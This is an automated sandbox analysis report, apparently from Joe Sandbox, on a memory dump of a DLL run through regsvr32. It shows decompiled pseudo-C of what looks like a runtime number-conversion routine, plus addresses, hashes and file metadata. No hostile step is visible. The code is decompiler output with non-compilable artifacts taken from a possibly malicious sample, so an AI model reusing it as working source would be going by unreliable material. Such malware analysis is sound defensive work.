				signed long long _t250;
				void* _t254;
				signed int* _t255;
				void* _t256;
				signed int _t257;
				void* _t258;
				char* _t259;
				signed short* _t260;
				long long* _t262;
				signed int* _t265;

				_t262 = __r13;
				_t258 = __r11;
				_t252 = __r8;
				_t239 = __rdx;
				_t191 = __ebx;
				if(__rdx - 0x31 > 8) {
					_t224 =  *((intOrPtr*)( *((intOrPtr*)( *_t246 + 0x128))));
					__eflags = _t204 -  *_t224;
					if(_t204 !=  *_t224) {
						__eflags = _t204 + 0xffffffd5 - 0x3a;
						if(_t204 + 0xffffffd5 > 0x3a) {
							_t252 = __r8 - _t248;
							_t214 = 0;
							goto L10;
						}
						_t239 = 0x10000000;
						goto __rcx;
					}
					r9d = 4;
				} else {
					_t6 = _t248 + 2; // 0x3
					r9d = _t6;
					_t252 = __r8 - _t248;
					do {
						goto L1;
					} while (r9d != 0xa);
					_t214 = 0;
					__eflags = 0;
					L10:
					__eflags = 1;
					 *_t262 = _t252;
					if(1 == 0) {
						r8d = _t214;
						_t205 = _t214;
						_t214 = 4;
						L104:
						_t193 = 0;
						_t147 = 0;
						__eflags = 0;
						L105:
						_t255 =  *((intOrPtr*)(_t250 + 0x48));
						_t148 = _t147 |  *(_t250 + 0x34);
						__eflags = _t148;
						_t255[2] = _t148;
						 *_t255 = _t193;
						_t255[0] = _t205;
						_t255[1] = r8d;
						__eflags =  *(_t250 + 0xa0) ^ _t250;
						return E1002FF40(_t193,  *(_t250 + 0xa0) ^ _t250);
					}
					__eflags = r10d - 0x18;
					if(r10d <= 0x18) {
						__eflags = r10d;
						if(r10d == 0) {
							r8d = _t214;
							_t205 = _t214;
							goto L104;
						}
						L17:
						_t259 = _t258 - 1;
						__eflags =  *_t259;
						if( *_t259 != 0) {
							L20:
							_t18 = _t250 + 0x60; // 0x61
							_t19 = _t250 + 0x80; // 0x81
							E1004EED0(r10d, _t229, _t19, _t239, _t244, _t246, _t18, _t254, _t256, _t259);
							__eflags = r14d;
							if(r14d >= 0) {
								r8d =  *(_t250 + 0x30);
							} else {
								r8d =  *(_t250 + 0x30);
								r8d =  ~r8d;
							}
							r8d = r8d + _t191;
							__eflags = r12d;
							if(r12d == 0) {
								r8d = r8d +  *((intOrPtr*)(_t250 + 0x120));
								__eflags = r8d;
							}
							__eflags = r15d;
							if(r15d == 0) {
								r8d = r8d -  *((intOrPtr*)(_t250 + 0x128));
								__eflags = r8d;
							}
							__eflags = r8d - 0x1450;
							if(r8d > 0x1450) {
								_t205 = _t214;
								_t147 = 0x7fff;
								r8d = 0x80000000;
								_t214 = 2;
								_t193 = 0;
								goto L105;
							} else {
								__eflags = r8d - 0xffffebb0;
								if(r8d < 0xffffebb0) {
									r8d = _t214;
									_t205 = _t214;
									_t214 = 1;
									goto L104;
								}
								_t241 = 0x100b3270;
								__eflags = r8d;
								if(r8d == 0) {
									L99:
									_t193 =  *(_t250 + 0x60) & 0x0000ffff;
									_t205 =  *(_t250 + 0x62);
									r8d =  *(_t250 + 0x66);
									_t147 =  *(_t250 + 0x68) >> 0x10;
									goto L105;
								}
								__eflags = r8d;
								if(r8d < 0) {
									r8d =  ~r8d;
									_t241 = 0x100b33d0;
									__eflags = 0x100b3430;
								}
								__eflags =  *(_t250 + 0x38);
								_t154 =  ==  ? 0 :  *(_t250 + 0x60) & 0x0000ffff;
								__eflags = r8d;
								 *(_t250 + 0x60) =  ==  ? 0 :  *(_t250 + 0x60) & 0x0000ffff;
								if(r8d == 0) {
									_t214 = 0;
									__eflags = 0;
								} else {
									r9d = 0xffff8000;
									do {
										_t241 = _t241 + 0x54;
										r8d = r8d >> 3;
										__eflags = r8d & 0x00000007;
										 *(_t250 + 0x30) = r8d;
										 *((long long*)(_t250 + 0x40)) = _t241;
										if((r8d & 0x00000007) == 0) {
											goto L96;
										}
										_t236 = _t224 + _t224 * 2;
										__eflags =  *((short*)(_t241 + _t236 * 4)) - 0x8000;
										_t265 = _t241 + _t236 * 4;
										if( *((short*)(_t241 + _t236 * 4)) >= 0x8000) {
											_t35 = _t250 + 0x70; // 0x71
											_t236 = _t35;
											 *_t236 =  *_t265;
											_t185 = _t265[2];
											_t37 = _t250 + 0x70; // 0x71
											_t265 = _t37;
											 *(_t236 + 8) = _t185;
											_t224 =  *(_t250 + 0x70) >> 0x10;
											_t186 = _t185 - 1;
											__eflags = _t186;
											 *(_t250 + 0x72) = _t186;
										}
										_t194 = _t265[2] & 0x0000ffff;
										_t158 =  *(_t250 + 0x6a) & 0x0000ffff;
										r15d = 0;
										_t195 = _t194 & 0x00007fff;
										 *(_t250 + 0x50) = 0;
										_t159 = _t158 & 0x00007fff;
										 *(_t250 + 0x54) = 0;
										_t209 = (_t194 & 0x0000ffff ^ _t158) & 0x00008000;
										__eflags = _t159 - 0x7fff;
										 *(_t250 + 0x58) = 0;
										 *(_t250 + 0x38) = _t209;
										_t215 = _t224 + _t236;
										if(_t159 >= 0x7fff) {
											L95:
											__eflags = _t209;
											_t241 =  *((intOrPtr*)(_t250 + 0x40));
											_t161 =  !=  ? r9d : 0x7fff8000;
											 *(_t250 + 0x64) = 0;
											 *(_t250 + 0x60) = 0;
											 *(_t250 + 0x68) =  !=  ? r9d : 0x7fff8000;
										} else {
											__eflags = _t195 - 0x7fff;
											if(_t195 >= 0x7fff) {
												goto L95;
											}
											__eflags = _t215 - 0xbffd;
											if(_t215 > 0xbffd) {
												goto L95;
											}
											__eflags = _t215 - 0x3fbf;
											if(_t215 > 0x3fbf) {
												__eflags = _t159;
												if(_t159 != 0) {
													L47:
													__eflags = _t195;
													if(_t195 != 0) {
														L52:
														r13d = 0;
														_t242 = _t250 + 0x54;
														r12d = 5;
														do {
															__eflags = r12d;
															_t192 = r12d;
															_t237 = _t262 + _t262;
															if(r12d <= 0) {
																goto L67;
															}
															_t65 =  &(_t265[2]); // 0x9
															_t257 = _t65;
															_t67 = _t237 + 0x60; // 0x65
															_t260 = _t250 + _t67;
															_t219 = r13d & 0x00000001;
															__eflags = _t219;
															do {
																_t197 = ( *_t260 & 0x0000ffff) * ( *_t257 & 0x0000ffff);
																__eflags = _t219;
																if(_t219 == 0) {
																	r8d = 0;
																	r9d = _t224 + _t237;
																	__eflags = r9d -  *(_t242 - 4);
																	if(r9d <  *(_t242 - 4)) {
																		L62:
																		r8d = 1;
																		L63:
																		 *(_t242 - 4) = r9d;
																		goto L64;
																	}
																	__eflags = r9d - _t197;
																	if(r9d >= _t197) {
																		goto L63;
																	}
																	goto L62;
																}
																r8d = 0;
																r9d = _t224 + _t237;
																__eflags = r9d -  *(_t242 - 4);
																if(r9d <  *(_t242 - 4)) {
																	L58:
																	r8d = 1;
																	L59:
																	 *(_t242 - 4) = r9d;
																	goto L64;
																}
																__eflags = r9d - _t197;
																if(r9d >= _t197) {
																	goto L59;
																}
																goto L58;
																L64:
																__eflags = r8d;
																if(r8d != 0) {
																	 *_t242 =  *_t242 + 1;
																	__eflags =  *_t242;
																}
																_t192 = _t192 - 1;
																_t260 =  &(_t260[1]);
																_t257 = _t257 - 2;
																__eflags = _t192;
															} while (_t192 > 0);
															L67:
															r12d = r12d - 1;
															_t242 =  &(_t242[0]);
															r13d = r13d + 1;
															__eflags = r12d;
														} while (r12d > 0);
														_t216 = _t215 + 0xc002;
														__eflags = _t216;
														if(__eflags <= 0) {
															r8d =  *(_t250 + 0x58);
															_t210 =  *(_t250 + 0x54);
															r9d =  *(_t250 + 0x50);
															L82:
															_t216 = _t216 + 0xffff;
															__eflags = _t216;
															if(_t216 >= 0) {
																L74:
																_t163 =  *(_t250 + 0x50) & 0x0000ffff;
																L75:
																__eflags = _t163 - 0x8000;
																if(_t163 > 0x8000) {
																	L77:
																	_t164 =  *(_t250 + 0x52);
																	__eflags = _t164 - 0xffffffff;
																	if(_t164 != 0xffffffff) {
																		_t165 = _t164 + 1;
																		__eflags = _t165;
																		 *(_t250 + 0x52) = _t165;
																		_t210 =  *(_t250 + 0x54);
																	} else {
																		_t169 =  *(_t250 + 0x56);
																		 *(_t250 + 0x52) = 0;
																		__eflags = _t169 - 0xffffffff;
																		if(_t169 != 0xffffffff) {
																			 *(_t250 + 0x56) = _t169 + 1;
																			r8d =  *(_t250 + 0x58);
																			_t210 =  *(_t250 + 0x54);
																		} else {
																			_t171 =  *(_t250 + 0x5a) & 0x0000ffff;
																			 *(_t250 + 0x56) = 0;
																			__eflags = _t171 - 0xffff;
																			if(_t171 != 0xffff) {
																				_t210 =  *(_t250 + 0x54);
																				 *(_t250 + 0x5a) = _t171 + 1;
																				r8d =  *(_t250 + 0x58);
																			} else {
																				_t210 =  *(_t250 + 0x54);
																				 *(_t250 + 0x5a) = 0x8000;
																				r8d =  *(_t250 + 0x58);
																				_t216 = _t216 + 1;
																			}
																		}
																	}
																	L92:
																	__eflags = _t216 - 0x7fff;
																	if(_t216 < 0x7fff) {
																		 *(_t250 + 0x62) = _t210;
																		_t241 =  *((intOrPtr*)(_t250 + 0x40));
																		 *(_t250 + 0x66) = r8d;
																		r8d =  *(_t250 + 0x30);
																		 *(_t250 + 0x60) =  *(_t250 + 0x52) & 0x0000ffff;
																		 *(_t250 + 0x6a) = _t216 |  *(_t250 + 0x38);
																		r9d = 0xffff8000;
																	} else {
																		__eflags =  *(_t250 + 0x38);
																		_t241 =  *((intOrPtr*)(_t250 + 0x40));
																		r8d =  *(_t250 + 0x30);
																		r9d = 0xffff8000;
																		 *(_t250 + 0x64) = 0;
																		_t168 =  !=  ? r9d : 0x7fff8000;
																		 *(_t250 + 0x60) = 0;
																		 *(_t250 + 0x68) =  !=  ? r9d : 0x7fff8000;
																	}
																	goto L96;
																}
																r9d = r9d & 0x0001ffff;
																__eflags = r9d - 0x18000;
																if(r9d != 0x18000) {
																	goto L92;
																}
																goto L77;
															}
															r10d =  ~(_t216 & 0x0000ffff) & 0x0000ffff;
															_t216 = _t216 + r10w;
															__eflags = _t216;
															do {
																__eflags =  *(_t250 + 0x50) & 0x00000001;
																if(( *(_t250 + 0x50) & 0x00000001) != 0) {
																	r15d = r15d + 1;
																	__eflags = r15d;
																}
																r9d = r9d >> 1;
																r9d = r9d | _t210 << 0x0000001f;
																r8d = r8d >> 1;
																_t210 = _t210 >> 0x00000001 | r8d << 0x0000001f;
																_t257 = _t257 - 1;
																__eflags = _t257;
																 *(_t250 + 0x50) = r9d;
															} while (_t257 != 0);
															__eflags = r15d;
															 *(_t250 + 0x54) = _t210;
															 *(_t250 + 0x58) = r8d;
															if(r15d == 0) {
																goto L74;
															}
															_t163 = r9w | 0x00000001;
															 *(_t250 + 0x50) = _t163;
															r9d =  *(_t250 + 0x50);
															goto L75;
														}
														r8d =  *(_t250 + 0x58);
														_t210 =  *(_t250 + 0x54);
														r9d =  *(_t250 + 0x50);
														while(1) {
															asm("inc ecx");
															if(__eflags < 0) {
																break;
															}
															r8d = r8d + r8d;
															_t201 = _t210 >> 0x1f;
															r9d = r9d + r9d;
															_t210 = _t210 + _t210 | r9d >> 0x0000001f;
															r8d = r8d | _t201;
															_t216 = _t216 + 0xffff;
															 *(_t250 + 0x54) = _t210;
															 *(_t250 + 0x58) = r8d;
															__eflags = _t216;
															 *(_t250 + 0x50) = r9d;
															if(__eflags > 0) {
																continue;
															}
															goto L82;
														}
														__eflags = _t216;
														if(_t216 <= 0) {
															goto L82;
														}
														goto L74;
													}
													_t215 = _t215 + 1;
													asm("btr eax, 0x1f");
													__eflags = _t265[2];
													if(_t265[2] != 0) {
														goto L52;
													}
													__eflags = _t265[1];
													if(_t265[1] != 0) {
														goto L52;
													}
													__eflags =  *_t265;
													if( *_t265 != 0) {
														goto L52;
													}
													_t241 =  *((intOrPtr*)(_t250 + 0x40));
													 *(_t250 + 0x68) = 0;
													 *(_t250 + 0x64) = 0;
													 *(_t250 + 0x60) = 0;
													goto L96;
												}
												_t215 = _t215 + 1;
												asm("btr eax, 0x1f");
												__eflags =  *(_t250 + 0x68);
												if( *(_t250 + 0x68) != 0) {
													goto L47;
												}
												__eflags =  *(_t250 + 0x64);
												if( *(_t250 + 0x64) != 0) {
													goto L47;
												}
												__eflags =  *(_t250 + 0x60);
												if( *(_t250 + 0x60) != 0) {
													goto L47;
												}
												_t241 =  *((intOrPtr*)(_t250 + 0x40));
												 *(_t250 + 0x6a) = 0;
												goto L96;
											}
											_t241 =  *((intOrPtr*)(_t250 + 0x40));
											 *(_t250 + 0x68) = 0;
											 *(_t250 + 0x64) = 0;
											 *(_t250 + 0x60) = 0;
										}
										L96:
										__eflags = r8d;
									} while (r8d != 0);
									_t214 = 0;
								}
								goto L99;
							}
						}
						do {
							_t259 = _t259 - 1;
							r10d = r10d + 0xffffffff;
							_t191 = _t191 + 1;
							__eflags =  *_t259;
						} while ( *_t259 == 0);
						goto L20;
					}
					_t187 =  *(_t250 + 0x97) & 0x000000ff;
					__eflags = _t187 - 5;
					if(_t187 >= 5) {
						_t188 = _t187 + 1;
						__eflags = _t188;
						 *(_t250 + 0x97) = _t188;
					}
					_t258 = _t258 - 1;
					r10d = 0x18;
					_t191 = _t191 + 1;
					goto L17;
				}
				L1:
				_t252 = _t252 + 1;
				if(r9d <= 0xb) {
					_t224 = 0x10000000;
					goto __rcx;
				}
				__eflags = r9d - 0xa;
			}

0x1004b4c9
0x1004b4c9
0x1004b4c9
0x1004b4c9
0x1004b4c9
0x1004b4d3
0x1004b4f2
0x1004b4f5
0x1004b4f7
0x1004b511
0x1004b514
0x1004b8b4
0x1004b8b7
0x00000000
0x1004b8b7
0x1004b51a
0x1004b535
0x1004b535
0x1004b4f9
0x1004b4d5
0x1004b4d5
0x1004b4d5
0x1004b4d9
0x1004b410
0x00000000
0x00000000
0x1004b86d
0x1004b86d
0x1004b86f
0x1004b86f
0x1004b871
0x1004b875
0x1004be56
0x1004be59
0x1004be5b
0x1004be60
0x1004be60
0x1004be63
0x1004be63
0x1004be66
0x1004be66
0x1004be6b
0x1004be6b
0x1004be70
0x1004be77
0x1004be7b
0x1004be7f
0x1004becb
0x1004beda
0x1004beda
0x1004b87b
0x1004b87f
0x1004b95f
0x1004b962
0x1004be4f
0x1004be52
0x00000000
0x1004be52
0x1004b968
0x1004b968
0x1004b96c
0x1004b970
0x1004b991
0x1004b991
0x1004b996
0x1004b9a1
0x1004b9a6
0x1004b9a9
0x1004b9b5
0x1004b9ab
0x1004b9ab
0x1004b9b0
0x1004b9b0
0x1004b9ba
0x1004b9bd
0x1004b9c0
0x1004b9c2
0x1004b9c2
0x1004b9c2
0x1004b9ca
0x1004b9cd
0x1004b9cf
0x1004b9cf
0x1004b9cf
0x1004b9d7
0x1004b9de
0x1004be39
0x1004be3b
0x1004be3f
0x1004be45
0x1004be4a
0x00000000
0x1004b9e4
0x1004b9e4
0x1004b9eb
0x1004be2d
0x1004be30
0x1004be32
0x00000000
0x1004be32
0x1004b9f8
0x1004b9fc
0x1004b9ff
0x1004be16
0x1004be1a
0x1004be1f
0x1004be23
0x1004be28
0x00000000
0x1004be28
0x1004ba05
0x1004ba08
0x1004ba11
0x1004ba14
0x1004ba14
0x1004ba14
0x1004ba1d
0x1004ba27
0x1004ba2b
0x1004ba2e
0x1004ba33
0x1004be14
0x1004be14
0x1004ba39
0x1004ba39
0x1004ba40
0x1004ba43
0x1004ba47
0x1004ba4b
0x1004ba4e
0x1004ba53
0x1004ba58
0x00000000
0x00000000
0x1004ba60
0x1004ba64
0x1004ba6a
0x1004ba6e
0x1004ba73
0x1004ba73
0x1004ba78
0x1004ba7b
0x1004ba7f
0x1004ba7f
0x1004ba84
0x1004ba8c
0x1004ba90
0x1004ba90
0x1004ba93
0x1004ba93
0x1004ba97
0x1004ba9c
0x1004baa1
0x1004baa7
0x1004baac
0x1004bab3
0x1004bab7
0x1004babb
0x1004bac0
0x1004bac4
0x1004bac8
0x1004bacd
0x1004bad0
0x1004bdea
0x1004bdea
0x1004bded
0x1004bdf7
0x1004bdfb
0x1004bdff
0x1004be03
0x1004bad6
0x1004bad6
0x1004badb
0x00000000
0x00000000
0x1004bae1
0x1004bae6
0x00000000
0x00000000
0x1004baec
0x1004baf1
0x1004bb09
0x1004bb0c
0x1004bb39
0x1004bb39
0x1004bb3c
0x1004bb6f
0x1004bb6f
0x1004bb72
0x1004bb77
0x1004bb80
0x1004bb80
0x1004bb88
0x1004bb8b
0x1004bb8e
0x00000000
0x00000000
0x1004bb93
0x1004bb93
0x1004bb97
0x1004bb97
0x1004bb9c
0x1004bb9c
0x1004bba0
0x1004bba8
0x1004bbab
0x1004bbad
0x1004bbd2
0x1004bbd5
0x1004bbd9
0x1004bbdc
0x1004bbe3
0x1004bbe3
0x1004bbe9
0x1004bbe9
0x00000000
0x1004bbe9
0x1004bbde
0x1004bbe1
0x00000000
0x00000000
0x00000000
0x1004bbe1
0x1004bbb2
0x1004bbb5
0x1004bbb9
0x1004bbbc
0x1004bbc3
0x1004bbc3
0x1004bbc9
0x1004bbc9
0x00000000
0x1004bbc9
0x1004bbbe
0x1004bbc1
0x00000000
0x00000000
0x00000000
0x1004bbed
0x1004bbed
0x1004bbf0
0x1004bbf2
0x1004bbf2
0x1004bbf2
0x1004bbf6
0x1004bbf9
0x1004bbfd
0x1004bc01
0x1004bc01
0x1004bc05
0x1004bc05
0x1004bc09
0x1004bc0d
0x1004bc11
0x1004bc11
0x1004bc1a
0x1004bc1f
0x1004bc22
0x1004bcdd
0x1004bce2
0x1004bce6
0x1004bceb
0x1004bceb
0x1004bceb
0x1004bcf0
0x1004bc74
0x1004bc74
0x1004bc79
0x1004bc79
0x1004bc7d
0x1004bc93
0x1004bc93
0x1004bc97
0x1004bc9a
0x1004bd7d
0x1004bd7d
0x1004bd80
0x1004bd84
0x1004bca0
0x1004bca0
0x1004bca4
0x1004bca8
0x1004bcab
0x1004bd6e
0x1004bd72
0x1004bd77
0x1004bcb1
0x1004bcb1
0x1004bcb6
0x1004bcba
0x1004bcbe
0x1004bd57
0x1004bd5f
0x1004bd64
0x1004bcc4
0x1004bcc4
0x1004bcc8
0x1004bccf
0x1004bcd4
0x1004bcd4
0x1004bcbe
0x1004bcab
0x1004bd88
0x1004bd88
0x1004bd8d
0x1004bdc5
0x1004bdc9
0x1004bdce
0x1004bdd3
0x1004bdd8
0x1004bddd
0x1004bde2
0x1004bd8f
0x1004bd8f
0x1004bd94
0x1004bd99
0x1004bda3
0x1004bda9
0x1004bdad
0x1004bdb1
0x1004bdb5
0x1004bdb5
0x00000000
0x1004bd8d
0x1004bc7f
0x1004bc86
0x1004bc8d
0x00000000
0x00000000
0x00000000
0x1004bc8d
0x1004bcf8
0x1004bcfc
0x1004bcfc
0x1004bd00
0x1004bd00
0x1004bd05
0x1004bd07
0x1004bd07
0x1004bd07
0x1004bd10
0x1004bd1b
0x1004bd1e
0x1004bd21
0x1004bd23
0x1004bd23
0x1004bd27
0x1004bd27
0x1004bd2e
0x1004bd31
0x1004bd35
0x1004bd3a
0x00000000
0x00000000
0x1004bd44
0x1004bd48
0x1004bd4d
0x00000000
0x1004bd4d
0x1004bc28
0x1004bc2d
0x1004bc31
0x1004bc36
0x1004bc36
0x1004bc3b
0x00000000
0x00000000
0x1004bc42
0x1004bc4a
0x1004bc4d
0x1004bc50
0x1004bc52
0x1004bc55
0x1004bc5a
0x1004bc5e
0x1004bc63
0x1004bc66
0x1004bc6b
0x00000000
0x00000000
0x00000000
0x1004bc6d
0x1004bc6f
0x1004bc72
0x00000000
0x00000000
0x00000000
0x1004bc72
0x1004bb42
0x1004bb46
0x1004bb4a
0x1004bb4c
0x00000000
0x00000000
0x1004bb4e
0x1004bb52
0x00000000
0x00000000
0x1004bb54
0x1004bb57
0x00000000
0x00000000
0x1004bb59
0x1004bb5e
0x1004bb62
0x1004bb66
0x00000000
0x1004bb66
0x1004bb12
0x1004bb16
0x1004bb1a
0x1004bb1c
0x00000000
0x00000000
0x1004bb1e
0x1004bb22
0x00000000
0x00000000
0x1004bb24
0x1004bb28
0x00000000
0x00000000
0x1004bb2a
0x1004bb2f
0x00000000
0x1004bb2f
0x1004baf3
0x1004baf8
0x1004bafc
0x1004bb00
0x1004bb00
0x1004be07
0x1004be07
0x1004be07
0x1004be10
0x1004be10
0x00000000
0x1004ba33
0x1004b9de
0x1004b980
0x1004b980
0x1004b984
0x1004b988
0x1004b98b
0x1004b98b
0x00000000
0x1004b980
0x1004b885
0x1004b88d
0x1004b88f
0x1004b891
0x1004b891
0x1004b893
0x1004b893
0x1004b89a
0x1004b89e
0x1004b8a4
0x00000000
0x1004b8a4
0x1004b410
0x1004b414
0x1004b41c
0x1004b42c
0x1004b436
0x1004b436
0x1004b863

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1ecdd026765c6845f6e14a99b943b70f2d5ba39208c55f96ff462e248978837
Instruction ID: 673479ed91b5f4fb54866c3c5c516f67f001990f317511d96198e880e55934a0
Opcode Fuzzy Hash: d1ecdd026765c6845f6e14a99b943b70f2d5ba39208c55f96ff462e248978837
Instruction Fuzzy Hash: CC710773618BD5C6CB60CF2AE0407A9B7A1F385780FA04126EB8983B58DB7DD845CB08

Uniqueness

Uniqueness Score: -1.00%

Function 1004B5C8 Relevance: .2, Instructions: 180
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E1004B5C8(signed int __ebx, signed int __edx, intOrPtr* __rsi, void* __rbp, signed char* __r8, char* __r11, signed char** __r13, signed int _a48, signed int _a52, signed int _a56, long long _a64, signed int* _a72, unsigned int _a80, signed short _a82, signed int _a84, signed int _a86, signed int _a88, signed int _a90, signed int _a96, signed int _a98, signed int _a100, signed int _a102, unsigned int _a104, signed int _a106, unsigned int _a112, signed int _a114, char _a128, signed int _a151, signed int _a160, void* _a184, void* _a192, void* _a200, void* _a208, void* _a216, void* _a224, void* _a232, void* _a240, intOrPtr _a288, intOrPtr _a296) {
				unsigned int _t143;
				signed int _t144;
				signed short _t154;
				signed short _t155;
				signed short _t159;
				signed short _t160;
				signed int _t161;
				signed int _t165;
				signed int _t167;
				signed int _t181;
				signed int _t182;
				signed int _t183;
				signed char _t184;
				signed int _t187;
				signed int _t188;
				signed int _t189;
				signed short _t190;
				signed short _t191;
				signed int _t193;
				signed int _t197;
				signed int _t200;
				signed int _t201;
				signed short _t205;
				signed int _t206;
				signed int _t210;
				void* _t211;
				signed int _t212;
				signed int _t215;
				unsigned long long _t224;
				void* _t230;
				signed long long _t237;
				void* _t238;
				long long _t242;
				signed int* _t243;
				void* _t245;
				intOrPtr* _t247;
				void* _t249;
				signed long long _t251;
				signed char* _t253;
				void* _t255;
				signed int* _t256;
				void* _t257;
				signed int _t258;
				char* _t259;
				char* _t260;
				signed short* _t261;
				signed char** _t263;
				signed int* _t266;

				_t263 = __r13;
				_t259 = __r11;
				_t253 = __r8;
				_t249 = __rbp;
				_t247 = __rsi;
				_t200 = __edx;
				_t187 = __ebx;
				if(__edx < 0x30) {
					L8:
					_t224 =  *((intOrPtr*)( *((intOrPtr*)( *_t247 + 0x128))));
					if(_t200 !=  *_t224) {
						__eflags = _t200 + 0xffffffd5 - 0x3a;
						if(_t200 + 0xffffffd5 > 0x3a) {
							_t253 = _t253 - _t249;
							_t210 = 0;
							L14:
							__eflags = 1;
							 *_t263 = _t253;
							if(1 == 0) {
								r8d = _t210;
								_t201 = _t210;
								_t210 = 4;
								L108:
								_t189 = 0;
								_t143 = 0;
								__eflags = 0;
								L109:
								_t256 = _a72;
								_t144 = _t143 | _a52;
								__eflags = _t144;
								_t256[2] = _t144;
								 *_t256 = _t189;
								_t256[0] = _t201;
								_t256[1] = r8d;
								__eflags = _a160 ^ _t251;
								return E1002FF40(_t189, _a160 ^ _t251);
							}
							__eflags = r10d - 0x18;
							if(r10d <= 0x18) {
								__eflags = r10d;
								if(r10d == 0) {
									r8d = _t210;
									_t201 = _t210;
									goto L108;
								}
								L21:
								_t260 = _t259 - 1;
								__eflags =  *_t260;
								if( *_t260 != 0) {
									L24:
									_t15 =  &_a96; // 0x61
									_t16 =  &_a128; // 0x81
									E1004EED0(r10d, _t230, _t16, 0x10000000, _t245, _t247, _t15, _t255, _t257, _t260);
									__eflags = r14d;
									if(r14d >= 0) {
										r8d = _a48;
									} else {
										r8d = _a48;
										r8d =  ~r8d;
									}
									r8d = r8d + _t187;
									__eflags = r12d;
									if(r12d == 0) {
										r8d = r8d + _a288;
										__eflags = r8d;
									}
									__eflags = r15d;
									if(r15d == 0) {
										r8d = r8d - _a296;
										__eflags = r8d;
									}
									__eflags = r8d - 0x1450;
									if(r8d > 0x1450) {
										_t201 = _t210;
										_t143 = 0x7fff;
										r8d = 0x80000000;
										_t210 = 2;
										_t189 = 0;
										goto L109;
									} else {
										__eflags = r8d - 0xffffebb0;
										if(r8d < 0xffffebb0) {
											r8d = _t210;
											_t201 = _t210;
											_t210 = 1;
											goto L108;
										}
										_t242 = 0x100b3270;
										__eflags = r8d;
										if(r8d == 0) {
											L103:
											_t189 = _a96 & 0x0000ffff;
											_t201 = _a98;
											r8d = _a102;
											_t143 = _a104 >> 0x10;
											goto L109;
										}
										__eflags = r8d;
										if(r8d < 0) {
											r8d =  ~r8d;
											_t242 = 0x100b33d0;
											__eflags = 0x100b3430;
										}
										__eflags = _a56;
										_t150 =  ==  ? 0 : _a96 & 0x0000ffff;
										__eflags = r8d;
										_a96 =  ==  ? 0 : _a96 & 0x0000ffff;
										if(r8d == 0) {
											_t210 = 0;
											__eflags = 0;
										} else {
											r9d = 0xffff8000;
											do {
												_t242 = _t242 + 0x54;
												r8d = r8d >> 3;
												__eflags = r8d & 0x00000007;
												_a48 = r8d;
												_a64 = _t242;
												if((r8d & 0x00000007) == 0) {
													goto L100;
												}
												_t237 = _t224 + _t224 * 2;
												__eflags =  *((short*)(_t242 + _t237 * 4)) - 0x8000;
												_t266 = _t242 + _t237 * 4;
												if( *((short*)(_t242 + _t237 * 4)) >= 0x8000) {
													_t32 =  &_a112; // 0x71
													_t237 = _t32;
													 *_t237 =  *_t266;
													_t181 = _t266[2];
													_t34 =  &_a112; // 0x71
													_t266 = _t34;
													 *(_t237 + 8) = _t181;
													_t224 = _a112 >> 0x10;
													_t182 = _t181 - 1;
													__eflags = _t182;
													_a114 = _t182;
												}
												_t190 = _t266[2] & 0x0000ffff;
												_t154 = _a106 & 0x0000ffff;
												r15d = 0;
												_t191 = _t190 & 0x00007fff;
												_a80 = 0;
												_t155 = _t154 & 0x00007fff;
												_a84 = 0;
												_t205 = (_t190 & 0x0000ffff ^ _t154) & 0x00008000;
												__eflags = _t155 - 0x7fff;
												_a88 = 0;
												_a56 = _t205;
												_t211 = _t224 + _t237;
												if(_t155 >= 0x7fff) {
													L99:
													__eflags = _t205;
													_t242 = _a64;
													_t157 =  !=  ? r9d : 0x7fff8000;
													__eflags = 0x7fff8000;
													_a100 = 0;
													_a96 = 0;
													_a104 =  !=  ? r9d : 0x7fff8000;
												} else {
													__eflags = _t191 - 0x7fff;
													if(_t191 >= 0x7fff) {
														goto L99;
													}
													__eflags = _t211 - 0xbffd;
													if(_t211 > 0xbffd) {
														goto L99;
													}
													__eflags = _t211 - 0x3fbf;
													if(_t211 > 0x3fbf) {
														__eflags = _t155;
														if(_t155 != 0) {
															L51:
															__eflags = _t191;
															if(_t191 != 0) {
																L56:
																r13d = 0;
																_t243 =  &_a84;
																r12d = 5;
																do {
																	__eflags = r12d;
																	_t188 = r12d;
																	_t238 = _t263 + _t263;
																	if(r12d <= 0) {
																		goto L71;
																	}
																	_t62 =  &(_t266[2]); // 0x9
																	_t258 = _t62;
																	_t64 = _t238 + 0x60; // 0x65
																	_t261 = _t251 + _t64;
																	_t215 = r13d & 0x00000001;
																	__eflags = _t215;
																	do {
																		_t193 = ( *_t261 & 0x0000ffff) * ( *_t258 & 0x0000ffff);
																		__eflags = _t215;
																		if(_t215 == 0) {
																			r8d = 0;
																			r9d = _t224 + _t238;
																			__eflags = r9d -  *(_t243 - 4);
																			if(r9d <  *(_t243 - 4)) {
																				L66:
																				r8d = 1;
																				L67:
																				 *(_t243 - 4) = r9d;
																				goto L68;
																			}
																			__eflags = r9d - _t193;
																			if(r9d >= _t193) {
																				goto L67;
																			}
																			goto L66;
																		}
																		r8d = 0;
																		r9d = _t224 + _t238;
																		__eflags = r9d -  *(_t243 - 4);
																		if(r9d <  *(_t243 - 4)) {
																			L62:
																			r8d = 1;
																			L63:
																			 *(_t243 - 4) = r9d;
																			goto L68;
																		}
																		__eflags = r9d - _t193;
																		if(r9d >= _t193) {
																			goto L63;
																		}
																		goto L62;
																		L68:
																		__eflags = r8d;
																		if(r8d != 0) {
																			 *_t243 =  *_t243 + 1;
																			__eflags =  *_t243;
																		}
																		_t188 = _t188 - 1;
																		_t261 =  &(_t261[1]);
																		_t258 = _t258 - 2;
																		__eflags = _t188;
																	} while (_t188 > 0);
																	L71:
																	r12d = r12d - 1;
																	_t243 =  &(_t243[0]);
																	r13d = r13d + 1;
																	__eflags = r12d;
																} while (r12d > 0);
																_t212 = _t211 + 0xc002;
																__eflags = _t212;
																if(__eflags <= 0) {
																	r8d = _a88;
